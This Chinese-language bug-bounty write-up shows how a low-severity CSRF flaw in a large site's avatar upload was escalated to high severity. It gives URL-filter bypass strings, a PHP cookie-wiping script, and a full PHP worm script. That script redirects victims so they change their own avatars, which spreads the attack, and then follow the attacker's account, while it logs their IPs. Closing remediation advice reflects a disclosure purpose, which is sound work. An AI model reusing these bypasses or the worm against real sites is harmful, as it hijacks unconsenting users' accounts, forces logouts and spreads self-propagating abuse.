记一次某大厂csrf漏洞通过蠕虫从低危到高危
字数 1625 2025-08-29 08:30:18
CSRF漏洞利用升级:从低危到高危的蠕虫攻击分析
漏洞背景
本文记录了一个实际案例,展示了如何将一个最初被认为是低危的CSRF漏洞通过巧妙利用升级为高危漏洞的过程。该漏洞存在于某大型互联网公司的头像上传功能中,最终形成了可自我传播的蠕虫式攻击。
漏洞发现
头像上传流程分析
目标系统的头像上传功能分为三个步骤:
- 将头像图片上传到云存储,返回云上的地址
- 通过另一个接口上传头像地址链接
- 前端通过``显示头像
初始漏洞点
问题出在第二步:当系统通过``标签加载头像时,实际上是发送一个GET请求。如果这个GET请求指向的是站内API,就可能触发该API的功能。
漏洞利用过程
第一层限制与绕过
限制条件:系统要求头像URL必须以xxxcloud.net开头
绕过方法:
- 使用
@符号绕过:http://xxxcloud.net@vps.hacker/- 服务端会将
@前的内容解析为用户名
- 服务端会将
- 其他常用绕过方法:
http://www.hack.com?@qq.com(浏览器会在?前添加/)http://hack.com\.www.qq.com(浏览器会将\转为/)http://www.qq.com/../hack.com(目录穿越)http://hack.com%df/.qq.com(宽字节绕过)
第二层限制与绕过
限制条件:URL必须以.png、.jpg或.gif结尾
绕过方法:
- 使用查询参数:
?&<无关紧要的参数>=.jpg
初步利用:拒绝服务攻击
方法一:直接调用logout接口
- 发现论坛的退出接口
/api/logout虽然设计为POST传参,但实际接受GET请求 - 构造攻击使受害者访问攻击者路由时302跳转到
/api/logout - 效果:任何看到攻击者评论的用户都会自动退出登录
方法二:通过Cookie清除
- 在VPS上创建PHP脚本清除所有Cookie:
<?php
if (isset($_COOKIE)) {
foreach ($_COOKIE as $name => $value) {
setcookie($name, '', time() - 86400, '/');
}
}
?>
- 原理:将Cookie过期时间设为过去,使浏览器自动删除
漏洞升级:蠕虫式传播
关键发现
- 修改头像的接口虽然默认使用POST,但也接受GET请求:
api.*****.com/v1.1/avaimageupload.api?product=*****&imageUrl=***vps/**.png&blogId=***
蠕虫传播机制
- 攻击者设置头像指向修改头像的API
- 其他用户查看攻击者头像时,会自动将自己的头像也改为指向修改头像的API
- 这些用户成为新的传播节点,继续感染其他查看他们头像的用户
- 形成指数级传播的蠕虫效果
全站级攻击实现
- 修改VPS上的POC脚本,先让用户修改头像(第一次访问)
- 然后让用户执行退出操作(第二次访问)
- 最终实现全站用户的自动退出
高级利用:恶意刷关注
发现关注接口漏洞
- 关注接口
/v1.1/follow.api也接受GET请求 - 可构造请求自动让用户关注指定账号
组合利用
- 通过接口
https://****/*****/web/all.json?key=<username>获取高赞博主的blogid - 定向感染高粉丝博主
- 修改POC为关注攻击者账号的请求
- 实现大规模自动关注
完整攻击脚本示例
<?php
session_start();
$ip = $_SERVER['REMOTE_ADDR'];
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
// 定义跳转URL
$firstRedirect = "https://api.*****.com/v1.1/avaimageupload.api?product=*****-android-8.1.9&imageUrl=www.7ntsec.cn/avaimg.*****.net/location_check.php&blogId=2267493166";
$secondRedirect = "https://api.*****.com/v1.1/follow.api?followtype=follow&product=*****-android-8.1.9&targetblogid=529578359&blogdomain=*****gamer.*****.com";
$refererRedirect = "https://avaimg.*****.net/img/";
// 日志记录函数
function logAccess($ip, $referer, $visitCount, $redirectUrl) {
$logFile = "./access_log.txt";
$timestamp = date("Y-m-d H:i:s");
$logEntry = "[$timestamp] IP: $ip | Referer: $referer | Visit Count: $visitCount | Redirect: $redirectUrl\n";
file_put_contents($logFile, $logEntry, FILE_APPEND);
}
// 根据Referer直接跳转
if (strpos($referer, "gcweb.*****.com") !== false) {
logAccess($ip, $referer, "N/A", $refererRedirect);
header("Location: $refererRedirect");
exit;
}
// 记录访问次数
if (!isset($_SESSION['visit_count'][$ip])) {
$_SESSION['visit_count'][$ip] = 1;
} else {
$_SESSION['visit_count'][$ip]++;
}
// 根据访问次数跳转
if ($_SESSION['visit_count'][$ip] == 1) {
logAccess($ip, $referer, $_SESSION['visit_count'][$ip], $firstRedirect);
header("Location: $firstRedirect");
exit;
} elseif ($_SESSION['visit_count'][$ip] == 2) {
logAccess($ip, $referer, $_SESSION['visit_count'][$ip], $secondRedirect);
header("Location: $secondRedirect");
exit;
}
?>
漏洞修复建议
- 严格区分GET和POST请求的用途,敏感操作只允许POST请求
- 实施CSRF Token防护机制
- 对用户提供的URL进行严格校验:
- 验证完整域名而不仅是前缀
- 禁止URL中包含特殊字符如
@ - 使用白名单方式校验文件扩展名
- 对API请求实施Referer检查
- 敏感操作要求二次确认
总结
本案例展示了如何通过以下方式将低危CSRF漏洞升级为高危漏洞:
- 发现并绕过多层URL过滤
- 利用GET请求本应使用POST的接口
- 构造自我传播的蠕虫机制
- 组合多个接口功能实现更大危害
最终该漏洞被评为高危,凸显了即使是看似简单的CSRF漏洞,在特定条件下也可能造成严重后果。